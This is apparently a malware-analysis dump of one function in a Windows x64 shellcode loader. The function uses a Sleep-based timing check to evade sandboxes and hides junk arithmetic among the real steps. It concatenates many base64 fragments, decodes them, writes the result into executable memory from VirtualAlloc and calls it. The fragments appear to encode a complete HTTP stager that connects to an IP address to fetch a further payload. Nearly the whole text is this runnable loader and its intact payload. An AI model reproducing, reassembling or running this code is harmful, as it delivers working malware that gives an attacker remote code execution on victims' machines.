Function at 0x401852
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x678
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x610], ecx
mov qword [rbp + 0x618], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x5ec], eax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov ecx, 0x18b
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x5e8], eax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov ecx, 0x954
call sym.malloc
mov qword [rbp + 0x5e0], rax
mov dword [0x00404020], 0
mov eax, dword [rbp + 0x5e8]
sub eax, dword [rbp + 0x5ec]
cmp eax, 0x18a
jle 0x402607
mov eax, dword [rbp + 0x5e8]
sub eax, dword [rbp + 0x5ec]
cmp eax, 0x1ee
jg 0x402607
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rcx, str.ghdT
call sym.printf
lea rax, str.OTBmYzQ4ODNlNGYwZThjODAw
mov qword [rbp + 0x5d8], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.MDAwMDQxNTE0MTUwNTI1MTU2NDgzMWQyNjU0ODhiNTI2MDQ4OGI1MjE
mov qword [rbp + 0x5d0], rax
mov dword [0x00404020], 0
lea rax, str.4NDg4YjUyMjA0ODhiNzI1MDQ4MGZiNzRhNGE0ZDMxYzk0ODMxYzBhYzNjNjE3YzAyMmMyMDQxYzFjOTBkNDEwMWMxZTJlZDUyN
mov qword [rbp + 0x5c8], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.DE1MTQ4OGI1MjIwOGI0MjNjNDgwMWQwNjY4MTc4MTgwYjAyNzU3MjhiODA4ODAwMDAwMDQ4ODVjMDc0Njc0ODAxZDA1MDhiNDg
mov qword [rbp + 0x5c0], rax
mov dword [0x00404020], 0
lea rax, str.xODQ0OGI0MDIwND
mov qword [rbp + 0x5b8], rax
mov dword [0x00404020], 0
lea rax, str.kwMWQwZTM1NjQ4ZmZjOTQxOGIzNDg4NDgwMWQ2NGQzMWM5NDgzMWMwYWM0MWMxYzkwZDQxMDFjMTM4ZTA3
mov qword [rbp + 0x5b0], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.NWYxNGMwMzRjMjQwODQ1MzlkMTc1ZDg1ODQ0OGI0MDI0NDkwMWQwNjY0MT
mov qword [rbp + 0x5a8], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.hiMGM0ODQ0OGI0MDFjNDkwMWQwNDE
mov qword [rbp + 0x5a0], rax
mov dword [0x00404020], 0
lea rax, str.4YjA0ODg0ODAxZDA0MTU4NDE1ODVlNTk1YTQxNTg0MTU5NDE1YTQ4ODNlYzIwNDE1Mm
mov qword [rbp + 0x598], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.ZmZTA1ODQxNTk1YTQ4OGIxMmU5NGZmZmZmZmY1ZDZhMDA0OWJlNzc2OTZlNjk2ZTY1NzQw
mov qword [rbp + 0x590], rax
mov dword [0x00404020], 0
lea rax, str.MDQxNTY0OTg5ZTY0Yzg5Z
mov qword [rbp + 0x588], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.jE0MWJhNGM3NzI2MDdmZmQ1NDgzMWM5NDgzMWQyNGQzMWMwNGQzMWM5NDE1MDQxNTA0MWJhM2E1
mov qword [rbp + 0x580], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.Njc5YTdmZmQ1ZWI3MzVhNDg4OWMxNDFiODg0MjMwMDAwNGQzMWM5NDE1MTQxNTE2
mov qword [rbp + 0x578], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.YTAzNDE1MTQxYmE1Nzg5OWZjNmZmZDVlYjU5NWI0ODg5YzE0ODMxZDI0OTg5
mov qword [rbp + 0x570], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.ZDg0ZDMxYzk1MjY4MDAwMjQwODQ1MjUyNDFiYWViNTUyZTNiZmZkNTQ4ODljNjQ4ODNjMzUwNmEwYTVm
mov qword [rbp + 0x568], rax
mov dword [0x00404020], 0
lea rax, str.NDg4OWYxNDg4OWRhNDljN2MwZmZmZmZmZmY0ZDMxYzk1MjUyN
mov qword [rbp + 0x560], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.DFiYTJkMDYxODdiZmZkNTg1YzAwZjg1OW
mov qword [rbp + 0x558], rax
mov dword [0x00404020], 0
lea rax, str.QwMTAwMDA0OGZmY2YwZjg0OGMwMTAwMDBlYmQzZTllNDAxMDAwMGU4YTJmZmZmZmYyZjUxNzE1NTQ2MDAwNTU1OGI0
mov qword [rbp + 0x550], rax
mov dword [0x00404020], 0
lea rax, str.Y2Q5OGExZGYyOGE1OWE1ZDAyYzM5MTE
mov qword [rbp + 0x548], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.zNTdiMWM3MzA5O
mov qword [rbp + 0x540], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.GVkODhhNGJiYThiMTUyYWMwNzI1MTM1MGY1Y2RjZjBiZDU1YzRmNDc1MGM4MjYxYTZlYzc4
mov qword [rbp + 0x538], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.OWUwMmE2MDkxMWYyNjA3NDc0ZG
mov qword [rbp + 0x530], rax
mov dword [0x00404020], 0
lea rax, str.U3M2Y0ZmQ5OWEzOTI0NjNiZWNiMmViNTE5MWE5ODJkZTAwNTU3MzY1NzIyZDQxNjc2NTZlNzQzYTI
mov qword [rbp + 0x528], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.wNGQ2ZjdhNjk2YzZjNjEyZjM
mov qword [rbp + 0x520], rax
mov dword [0x00404020], 0
lea rax, str.0MmUzMDIwMjg2MzZmNmQ3MDYxNz
mov qword [rbp + 0x518], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.Q2OTYyNmM2NTNiMjA0ZDUzNDk0NTIwMz
mov qword [rbp + 0x510], rax
mov dword [0x00404020], 0
lea rax, str.UyZTMwM2IyMDU3Njk2ZTY0NmY3NzczMjA0ZT
mov qword [rbp + 0x508], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.U0M2IyMDQ0Njk2NzQ1Nzg3NDNiMjA0NDU0NTMyMDQxNjc2NTZ
mov qword [rbp + 0x500], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.lNzQwZDBhMDBjNmU5NTVkODc3NjQ1NzA1ZGRhZWMz
mov qword [rbp + 0x4f8], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.MzA5MTBkYWU3ZGJmZTA2M2UzN2JkZjEzZGFmYjhjNDQ0YWI5YTBlZmM1YzY2N2QxY2EwODc0MjA2YzEwN
mov qword [rbp + 0x4f0], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.DBkNjg3ZDczMjc2MzUyYmVmNWU3ZDRjYzAwZTYwMTU1YzFkNDRiYTE1MjI0NGJjMWZm
mov qword [rbp + 0x4e8], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.OTQzOTEzZTNkYjdlODBiNzgwZTgzZTJhOTI3MGI2MTc3OTMyOGNmYjg2OTdmNzAyOWNkY2RhODExNmIyYTV
mov qword [rbp + 0x4e0], rax
mov dword [0x00404020], 0
lea rax, str.mYTg5NDE1ZTU2NzFmNjI0ZTNjOTk4YTA3YTliMmJhYmMyYzk0YmI5ZmZhO
mov qword [rbp + 0x4d8], rax
mov dword [0x00404020], 0
lea rax, str.GJiYTllMDdhNzAxZDczMWUwMjJhMDNjNGYwYWE5NmI1ODAxZjJiNWFhNjM5NjNkM
mov qword [rbp + 0x4d0], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.DI4MWExMGQxMjI4ODA5N
mov qword [rbp + 0x4c8], rax
mov dword [0x00404020], 0
lea rax, str.jY3YzZmYjU2Z
mov qword [rbp + 0x4c0], rax
mov dword [0x00404020], 0
lea rax, str.TAyOTVkZGRlNjExZDhjNGQyZTdhNThkOTU2NmRh
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.MmVjOGUwZWI0OTFhMWQ3NTU0MDViNDlmZjQwZWY4ZDc5MzhiZTQ1NmM4ZTYyMGNiMTE4ZTA
mov qword [rbp + 0x4b0], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.5OWU0MDk3ZWU1Z
mov qword [rbp + 0x4a8], rax
mov dword [0x00404020], 0
lea rax, str.GI5NWM2ZDg
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.wMDA0MDc0OTRmNjViNjc1NTY0MTk4NTE3MDMwZGExZGE3NzEyMDA0MWJlZjBiNWEyNTZmZmQ1NDg
mov qword [rbp + 0x498], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
lea rax, str.zMWM5YmEwMDAwNDAwMDQxYjgwMDEwMDAwMDQxYjk0MDAwMDAwMDQxYmE1OGE0NTN
mov qword [rbp + 0x490], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.lNWZmZDU0ODkzNTM1MzQ4ODllN
mov qword [rbp + 0x488], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.zQ4ODlmMTQ4ODlkY
mov qword [rbp + 0x480], rax
mov dword [0x00404020], 0
lea rax, str.TQxYjgwMDIwMDAwMDQ5ODlmOTQxYmExMjk2ODllMmZmZDU0ODgzYzQyM
mov qword [rbp + 0x478], rax
mov dword [0x00404020], 0
lea rax, str.Dg1YzA3NGI2NjY4YjA3NDgwMWMzODVjMDc1ZDc1ODU4NTg0ODA1MDAwMDAwMD
mov qword [rbp + 0x470], rax
mov dword [0x00404020], 0
lea rax, str.A1MGMzZTg5ZmZkZmZmZjMxMzkzMjJlMzEzNjM4MmUz
mov qword [rbp + 0x468], rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rax, str.MTM2MzEyZTMxMzMzMTAwNDk5NjAyZDI
mov qword [rbp + 0x460], rax
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov word [rdx], ax
add rdx, 2
mov rdx, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcpy
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x5d0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x5c8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5c0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x5b0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov dword [0x00404020], 0
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404020]
add eax, eax
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp + 0x5e0]
lea rdx, [0x00405a29]
mov rcx, rax
call sym.foCa
mov qword [rbp + 0x458], rax
mov rdx, qword [rbp + 0x458]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.rEgWvK
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4aa
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x450], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x450]
mov r8d, 0x4aa
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x450]
call rax
mov edx, dword [0x00404020]
mov eax, dword [0x00404024]
add eax, edx
mov edx, eax
lea rcx, [0x00405a2b]
call sym.printf
jmp 0x402629
mov edx, dword [0x00404020]
mov eax, dword [0x00404020]
imul eax, edx
mov dword [0x00404020], eax
lea rcx, str.ghdT
call sym.printf
nop
add rsp, 0x678
pop rdi
pop rbp
ret